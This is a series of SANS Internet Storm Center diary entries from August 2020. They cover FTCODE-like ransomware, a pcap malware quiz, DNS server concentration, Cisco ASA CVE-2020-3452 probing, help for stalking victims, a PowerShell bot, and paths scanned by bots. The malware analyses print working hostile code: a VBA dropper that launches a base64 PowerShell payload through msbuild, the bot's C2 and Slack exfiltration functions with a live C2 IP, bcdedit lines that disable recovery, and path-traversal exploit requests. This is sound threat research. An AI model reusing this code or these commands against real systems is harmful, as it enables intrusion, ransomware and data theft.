After a quick analyzis, the malicious code is a ransomware. I checked deeper and found a lot of code similarities with the FTCODE ransomware[1] that was first spotted in 2013!

Here is the notice found in the Powershell code:

<h1>All your files was encrypted!</h1>
<h2  style='color:red'><b>Yes, You can Decrypt Files Encrypted!!!</b></h2>
<p>Your personal ID: <b>%guid%</b></p>
<p>1. Download Tor browser - <a href='https://www.torproject.org/download/'>https://www.torproject.org/download/</a></p>
<p>2. Install Tor browser</p>
<p>3. Open Tor Browser</p>
<p>4. Open link in TOR browser:  <b>http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=%guid%</b></p>
<p>5. Follow the instructions on this page</p>
<h2>***** Warning*****</h2>
<p>Do not rename files</p>
<p>Do not try to back your data using third-party software, it may cause permanent data loss(If you do not believe us, and still try to - make copies of all files so that we can help you if third-party software harms them)</p>
<p>As evidence, we can for free back one file</p>
<p>Decoders of other users is not suitable to back your files - encryption key is created on your computer when the program is launched - it is unique.</p>

What is different than the good old FTCODE? The extension of encrypted files is generated dynamically:

$cwteiht = ([string][guid]::NewGuid()).Substring(0,6);
...
$bcbyfiwf = $_.Name+".$cwteiht";             
try{ 
  ren -Path $($_.FullName) -NewName $bcbyfiwf -Force; 
}

Also, the malware author commented out some piece of code (why not just delete the unwanted lines?):

<#    
$tusdweaeu = uyzicich ("guid=$auiduddy&ext=$cwteiht&ek=$ifsxfwbi&r0=" + ([uri]::EscapeDataString($fsxbxad)) + "&s0=" + ([uri]::EscapeDataString($wcaebjz)) +"&");   
if( $tusdweaeu ){     
  sc -Path $yhfcdgjwz -Value $(Get-Date);   
}
else{      
  ri -Path $yhfcdgjwz -Force;     
  exit;   
}   
#>   
...
<#
xfttjicedt('bcdedit /set wxcvuhgv bootstatuspolicy ignoreallfailures');   
xfttjicedt('bcdedit /set wxcvuhgv recoveryenabled no');
#>   

The initial script has still a nice VT score (4/57)![2]. The ransomware in itself is not new but the path used to deliver it was interesting.

[1] https://www.bleepingcomputer.com/news/security/ftcode-powershell-ransomware-resurfaces-in-spam-campaign/
[2] https://www.virustotal.com/gui/file/730a1230f26b06666c983eaae92577fe4c6e4a00179851e0f6b459f2e3839092/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-08-05

Traffic Analysis Quiz: What's the Malware From This Infection?

Introduction

Today's diary is a traffic analysis quiz where you try to identify the malware based on a pcap of traffic from an infected Windows host.  Download the pcap from this page, which also has the alerts.  Don't open or review the alerts yet, because they give away the answer.

Meanwhile, I'll provide the requirements for this quiz and some background on the infection.


Shown above:  Screenshot of the pcap for this quiz opened in Wireshark.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review packet captures (pcaps) of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Another requirement: use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So if you're new to this type of analysis, beware.  There's malware involved.

Background on the infection

This infection was caused by a malicious Excel spreadsheet.  It has macros designed to infect a vulnerable Windows host, so I infected one in my lab.  Default settings in recent versions of Microsoft Office would prevent these type of macros from causing an infection.  This is much more effective against older versions of Windows like Windows 7.


Shown above:  Screenshot of the spreadsheet used for this infection.

Enabling macros on this spreadsheet caused my vulnerable host to download a malicious Windows executable (EXE) and save it as C:\Users\Public\svchost32.exe where it was initially run.


Shown above:  The initial location of the malicious EXE on my infected lab host.

After a minute or two, the malware was deleted from C:\Users\Public\svchost32.exe and saved under a randomly-named directory under C:\Program Files (x86)\ using a random file name.  The directory and new file name are different for each infection.  The malware was made persistent through an update to the Windows registry as shown below.


Shown above:  Windows registry update and location of the malware persistent on my infected host.

This method is used by different families of malware.  The chain of events:

  • Victim receives a malicious Microsoft Office document (usually an Excel spreadsheet or Word document)
  • Victim enables macros on a vulnerable Windows host
  • Vulnerable Windows host retrieves a Windows EXE or DLL through web-based traffic
  • EXE or DLL is saved to disc
  • The EXE or DLL infects the vulnerable Windows host and is made persistent

Fortunately, this chain is rarely effective against an up-to-date version of Windows with default security settings.  In this case, Microsoft Office would not run the macro unless I disabled some key security functions.


Shown above:  Warning message I initially saw on my lab host.

Reviewing the pcap

If you've set up Wireshark according to the previously-mentioned tutorials, open the pcap and use the basic web filter to find an HTTP request to aromaterapiaclinicabrasil[.]com[.]br on 162.214.51[.]208.


Shown above:  Traffic from the quiz pcap filtered in Wireshark.

This HTTP request ends with .jpg, but it returned an EXE.  Left click on that line and follow the TCP stream, so we can confirm this is, in fact, an EXE.


Shown above:  HTTP request ending with .jpg returns a Windows EXE or DLL.

Is this is an EXE, or is it a DLL?  They both look the same in a TCP stream.  The ASCII characters MZ show as the first two bytes, and This program must be run under Win32 could be used by an EXE, or it could be used by a DLL.  To get more information on the file, we can explort it from the pcap.  A word of caution: this is Windows malware, so you should export this file in a non-Windows environment.

Use the menu path File --> Export Objects --> HTTP and export the file returned from aromaterapiaclinicabrasil[.]com[.]br as shown in the next two images.


Shown above:  Exporting objects from HTTP traffic in the pcap.


Shown above:  Saving the file returned from aromaterapiaclinicabrasil[.]com[.]br.

In a Linux environment, it's easy to confirm what type of file this is.  Use the file command in a terminal window.  Get the SHA256 hash of the file using the shasum -a 256 command as shown below.  I prefer a Debian or Ubuntu-based Linux environment, but any Linux environment will do.


Shown above:  Using a terminal window to confirm this is an EXE and get the SHA256 hash.

Once you have the SHA256 hash, search for it in VirusTotal or publicly-available online sandboxes like app.any.run, capesandbox.com, and other sites. You can also do a Google search.


Shown above:  Google results when I searched for the SHA256 hash of the EXE.

Keep in mind the Office document is a delivery mechanism.  The actual malware is based on the EXE retrieved after enabling macros.  What is the malware family in this case?  The answer is not as straight-forward as you might think.  Different vendors often have their own names for the same type of malware.  In this case, alerts from the post-infection traffic will reveal what family of malware caused this infection.


Shown above:  Alerts from the infection using Security Onion with Suricata and the EmergingThreats Pro (ETPRO) ruleset.

Final words

If you're an experienced malware analyst, this quiz might provide a minute or two of interest.  If you're tempted to immediately know the answer, just review the alerts and find ones for the CnC traffic.  If you're new to this type of analysis, hopefully this quiz has helped.

Once again, a pcap of the traffic and the associated alerts are located here

A copy of the spreadsheet that caused this traffic can be found here.

A copy of the EXE can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

1 Comments

Published: 2020-08-04

Internet Choke Points: Concentration of Authoritative Name Servers

A utopian vision of the Internet often describes it as a distributed partnership of equals giving everybody the ability to publish and discover information worldwide. This open, democratic Internet is often little more than an imaginary legacy construct that may have existed at some time in the distant past, if ever. Reality: Today, the Internet is governed by a few large entities. Diverse interconnectivity and content distribution were also supposed to make the Internet more robust. But as it has been shown over and over again, a simple misconfiguration at a single significant player will cause large parts of the network to disappear. 

Today, I played a bit with top-level domain zone files that I have been investigating recently. I have been looking at close to 900 different zones. Many of them are meaningless and not used, but it also included the big once like .com, .top (yes. this is the 2nd largest zone now), .net and .org. Any guesses on the 5th largest zone file? Either way, for this experiment, I extracted the NS records, and also A/AAAA records for all these TLDs. These are about 477 Million records and 2.7 Million different name server hostnames. These hostnames resolve to 1 Million IPv4 IPs (ok.. so many of these "redundant" name servers resolve to the same IP. No news here)., and only 37k AAAA records (showing how much more fragile the IPv6 internet is).

Note that we are talking about authoritative name servers here, not recursive name servers (which may have similar concentration issues with the increased popularity of services like Cloudflare, OpenDNS, and Quad9).

Now the real problem: How many name servers, out of 2.7 Million, does it take to "turn off" 80% of the Internet. Good old overused Pareto rule would tell us 20% (roughly 550000). Wrong... It only takes 2,302 name servers or about 0.084%! 0.35 % of nameservers are responsible for 90% of all domain names.

This ratio does not change substantially if I use IP addresses or if I try to summarize name servers owned by different organizations. But a simple misconfiguration at one major DNS provider (see Cloudflare a couple of weeks ago) or a DDoS attack against one (DYN and Mirai) will bring down large parts of the "Internet" or at least make them accessible to people who can't remember IP addresses (maybe making the Internet a safer place in the end).

Here are a couple of graphs to illustrate this issue.

While not necessarily the most intuitive way to look at this data, but the only way to actually display the data in a meaningful way is to use a logarithmic x-axis. Note that 80% is around 380 Million (3.8x10^8).

lograithmic number of name servers and records

Zooming in on the first 5,000 name servers will give us a bit better insight into how many domains they are responsible for. The green line (just like above) follows the cumulative number of NS records represented by the name servers. The red line indicates 80%, and the blue line 90%.

first 5000 hosts

And for effect, the entire dataset using a linear scale. Note how the green line is mostly horizontal.

So what can you learn from this: Using a cloud-based DNS service is simple and often more reliable than running your name server. But this large concentration of name services with few entities increases the risk to the infrastructure substantially. Couple ways to mitigate this risk:

  • Keep secondary name servers for zones you rely on in-house (this can be tricky for cloud providers you rely on. but you can try it for your domains and maybe some partners)
  • Use more than one DNS provider. A second provider should not be difficult to set up if you use a second provider and configure the name servers as secondary to your primary name servers.
Provider Number of records
Godaddy (domaincontrol.com) 94,536,346
Google Domains 20,134,705
dns.com (Xiamen Diensi) 15,642,026
IONOS (ui-dns) 15,599,972
hichina 15,118,733
Cloudflare 13,759,936
enom.com / registrar-servers.com 11,159,866
wixdns.net 9,170,163
name-services.com 7.334.904
namebrightnds.com 7.321,327

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

1 Comments

Published: 2020-08-04

Reminder: Patch Cisco ASA / FTD Devices (CVE-2020-3452). Exploitation Continues

Just a quick reminder: We are continuing to see small numbers of exploit attempts against CVE-2020-3452. Cisco patched this directory traversal vulnerability in its Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. The exploit is rather simple and currently used to find vulnerable systems by reading benign LUA source code files. 

Example attempts:

GET /+CSCOE+/translation-table?=mst&textdomain=/%bCSCOE%2b/portalinc.lua@default-languaqe&lang=../ HTTP/1.1
GET /+CSCOE+/translation-table?=mst&textdomain=/+CSCOE+/portal_inc.lua@default-languaqe&lang=../
GET /translation-table?=mst&textdomain=

Out honeypot isn't emulating this vulnerability well right now, so we are not seeing followup attacks.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2020-08-03

A Word of Caution: Helping Out People Being Stalked Online

Jack Rhysider, of "Darknet Diaries", yesterday posted this tweet asking for ideas on how to help people who are being stalked/surveilled online. This is an issue that has come up a few times as people have reached out to us for help in the past. I would like to share a few hard-learned lessons. And please chime in with anything you have to share.

First, I think it is important to distinguish if the person reaching out is a stranger or a friend/family. In our case, it is usually a stranger. Someone who has never contacted us before. And it is very important to understand the limitations of the help you can provide.

With a stranger, you are never quite sure as to what happened in the past. The victim was often subject to prolonged abuse, and why it is easy to write them off as "crazies", it is important to understand that their perception of events can be altered. Prolonged abuse leaves marks. If a person who threatened them with harm in the past, and has in the past followed up on these threats, then they will believe that this person will also follow up on threats like "hacking them" or "surveilling them in their video cameras", even if they don't. These threats can be very debilitating to the victims. But for an outsider, it is usually impossible to convince the victim that these threats are empty. You, as an outsider, have no history with the victim while the aggressor has. Also, these victims may have been taken advantage of in the past by others who claimed to help, but either worked with the abuse or only were out for a quick buck.

And remember: One of the impossible tasks in information security is to prove that a system is not compromised.

So some of the basic lessons:

1. Figure out if law enforcement needs to be involved.

In particular, if a person is currently being threatened: Understand the limitations of what you can do. It can be difficult for a victim at times to reach out to law enforcement, and law enforcement is also not always equipped to properly deal with these issues. But insist that the victim will at least try to do so. In particular, if the victim is threatened with physical harm. If for whatever reason, law enforcement isn't an option or doesn't assist: Try to connect the victim to a local advocacy group that can provide help beyond the technical issues, and connects them to someone with experience in these cases.

2. Avoid contact in person

You probably will have the best intention. But do not visit a person you do not know at their home. In particular not alone. Just to make the point: Many years ago we had an ISC handler attempt to do so (the victim was living close by). Luckily the handler backed out last minute. The "victim" was later arrested trying to kill someone else they suggested of being involved in the plot against them (a radio host who as far as I could tell was accused by the shooter of operating mind control rays).

3. Be careful as to what technical self-help you offer

Many responses to Jack's tweet suggested books and websites that will educate about various techniques to secure your computing equipment and how to detect tools like keyloggers and network sniffers. Many of these sites offer great content. But be aware that not everybody knows what a cookie or an IP address is. Confirmation bias is a dangerous tool in the hands of an abuser who already convinced the victim that they are helpless. You may unintentionally make things worse by trying to help.

So what should you do? If this is a good friend or relative: By all means, go over, take a look at their system, try to find malware. If you do find malware: Explain to the victim what is going on. Try to find out (and this isn't easy!) if this was malware placed by a stalker or if this was "run of the mill" malware the victim inadvertently installed. If you don't find anything: Explain some safe computing tips. But please understand your limitations. Refer the victim to a local abuse hotline or group specializing in not just the technical side (e.g. Operation Safe Escape or other groups with a local presence in your area)

Here some links to organizations people recommended:

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2020-08-03

Powershell Bot with Multiple C2 Protocols

I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click()
  MsgBox "Thank you for your participation!"
  Call f332dsasad
End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
  f332dsasad
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad()
  Dim aaa As String
  On Error Resume Next
  Dim file
  adddsaddsasd
  appDataLocation = Environ("A" & "ppD" & "ata")
  file = appDataLocation & "\Wind" & "owsManager." & "xml"
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set oFile = objFSO.CreateTextFile(file, True)
  oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name"
  oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
  oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
  oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
  oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
  oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
  oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
  oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
  oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample :  Task, ITask{publ"
  oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
  oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
  oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"

        ... (stuff removed) ...

  oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
  oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
  oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
  oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
  oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
  oFile.Close
  waitTill = Now() + TimeValue("00:00:04")
  While Now() < waitTill
      DoEvents
  Wend
  aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
  retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; 
 $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; 
 $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; 
 $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; 
 $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
 $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; 
 $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc='; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name                           Value                                                                                                         
----                           -----                                                                                                         
sleep                          1                                                                                                             
chunksleep                     1                                                                                                             
key                            {47, 130, 248, 76...}                                                                                         
handlers                       HTTPAES256|hxxp://104[.]239[.]177[.]103:80                                                                          
shell                          powershell                                                                                                    
maxrequestsize                 24000         

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
token
channel
attachments
as_user
text
https://slack.com/api/chat.postMessage
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
thread_ts
https://slack.com/api/channels.replies
DNSError
jobresult
No response from handler
None
POST
Authorization
HTTPAES256
SLACK
HTTPAES256FRONT
DNSAES256

register
127.0.0.1
{"implantType":"PowerShell","localIp":"
","hostname":"
","username":"
","handler":"Multi","connectionString":"
","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
indows"}
{"id":"
heartbeat
powershell
payload
command
options
upload
download
posh_in_mem
reflected_assembly
[bool]
[int]
interactive
Process Exited
socks
tcp_fwd
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: 
true
exit
Bye!
configure

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • SLACK
  • HTTPAES256FRONT
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) {
   $_l19s = $_d.handlers.split(","); 
   $_ktk = ""; 
   For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
     try {
       $_l19 = $_l19s[$i].split("|");
       if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
         Return v1v $_l19[1] $_hc8 $body;
       } 
       elseif($_l19[0] -eq $_h[18]) { # "SLACK"
         $trySlack = $false; 
         Return ny4 $_hc8 $body; 
       } 
       elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
         Return v1v $_l19[1] $_hc8 $body $_l19[2];
       } 
       elseif($_l19[0] -eq $_h[20]){ # DNSAES256
         Return r8p $_hc8 $body $_l19[1]; 
       }
     }
     catch { 
       if($_.Exception.message -eq 404) {
         throw $_;
       }
       else { 
         $_ktk += $_h[21] + $_.Exception.message;
       } 
     } 
   } 
   Throw $_ktk;
 }

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ 
  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; 
  $bodyEnc = vnm $_d.key $body; 
  $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; 
  $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; 
  if($_hc8 -ne $_h[12]){ 
    $thread_ts = $_uyx.ts; 
    sleep -Milliseconds 500;
    $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      Sleep 4; 
      $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    } 
    if($_uyx2.messages.length -lt 2){ 
      throw $_h[13]; 
    } 
    $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; 
    if($_yl5 -eq "404"){ 
      throw "404"; 
    } 
    return ConvertFrom-Json $_yl5; 
  } 
} 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:

{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}

Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:

{
  "localIp":"172.16.74.131",
  "sourceIp":"",
  "os":"windows",
  "hostname":"DESKTOP-2C3IQHO",
  "username":"REM",
  "handler":"Multi",
  "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80",
  "implantType":"PowerShell",
  "config":{},
  "supportedPayloads": 
     ["command","exit","upload","download","configure",
      "posh_in_mem","reflected_assembly","cd","interactive","socks"
     ],
  "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ",
  "createdAt":1596440810315,
  "lastSeen":1596440810315,
  "listener":""
}

Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { 
   if($_wxs.($_h[32]).($_h[34]).pipe_id){ 
     $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; 
     $script = [System.Text.Encoding]::ASCII.GetString($bytes);
   } else {
     $script = "";
   } 
   $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; 
   $_yl5=""; 
   $_e7i = Invoke-Expression $script | Out-String; 
   ForEach ($line in $($_e7i -split $_h[21])){ 
     $_yl5+=$line.TrimEnd() + $_h[21]; 
   } 
   igl $_wxs._id $_yl5 $false;
  } 

The C2 is located at %%ip:104.239.177.103%% and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-08-02

Small Challenge: A Simple Word Maldoc

A reader submitted malicious Word document deed contract,07.20.doc (also uploaded the Malware Bazaar).

There are a couple of interesting aspects to this document. The first, that I will point out here, is that the VBA code is quite simple.

The code is quite short. And there is string obfuscation.

In this diary, I'm not going to analyze this document.

If you are interested, I'm challenging you to analyze it. I've copied the code you see above to pastebin, so that you can have a go at it without needing the actual malware sample.

If you participate, please post a comment with your solution. I'm particularly interested in your analysis method, rather than the deobfuscated command.

Have fun :-)

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

10 Comments

Published: 2020-08-01

What pages do bad bots look for?

I’ve been wondering for some time now about what pages and paths are visited the most by “bad” bots – scrapers, data harvesters and other automated scanners which disregards the exclusions set in robots.txt[1]. To determine this, I’ve set up a little experiment – I placed robots.txt on one of my domains, which disallowed access to commonly used paths and PHP pages which might of interest to bots (login.php, /wp-admin/, etc.), configured the server to provide HTTP 200 response for these paths and pages and started logging details about requests sent to them.

To avoid as much legitimate or manually generated traffic as possible, I’ve done this on a domain which pointed to a server on which none of the common content management systems was used.

The captured requests were a mixed bag, as one might expect. Some of them were simple one-shot HTTP GET requests while others were part of multi-request scans, some had no parameters set, while others carried generic SQL injection or XSS payloads or tried to “blindly” exploit vulnerabilities specific to common content management systems.

For our purposes, however, this is beside the point as we’re more interested in finding out which pages were looked for the most. I went over the logs and put the “top 10” most commonly requested pages for the past 12 months in the following table, along with the number of times each path or page was hit.

Path Count
/wp-login.php 1140
/admin/ 189
/administrator/ 104
/wp-admin/install.php 82
/login.php 48
/administrator/index.php 26
/admin.php 24
/wp-admin/setup-config.php 24
/admin/index.php 23
/wp-links-opml.php 20

Although finding wp-login.php in the first place is hardly surprising, the results are interesting. Given the fairly large early drop in a number of requests it seems that one might be able to catch a significant portion of interesting “bad” bot behavior with just a single-page (or four or five-page) honeypot... In other words, if you’ve ever wondered where to place a “honeypage” on your server in order for it to be effective, the top paths mentioned in the table above might probably be a good start.

-----------
Jan Kopriva
@jk0pr
Alef Nula

3 Comments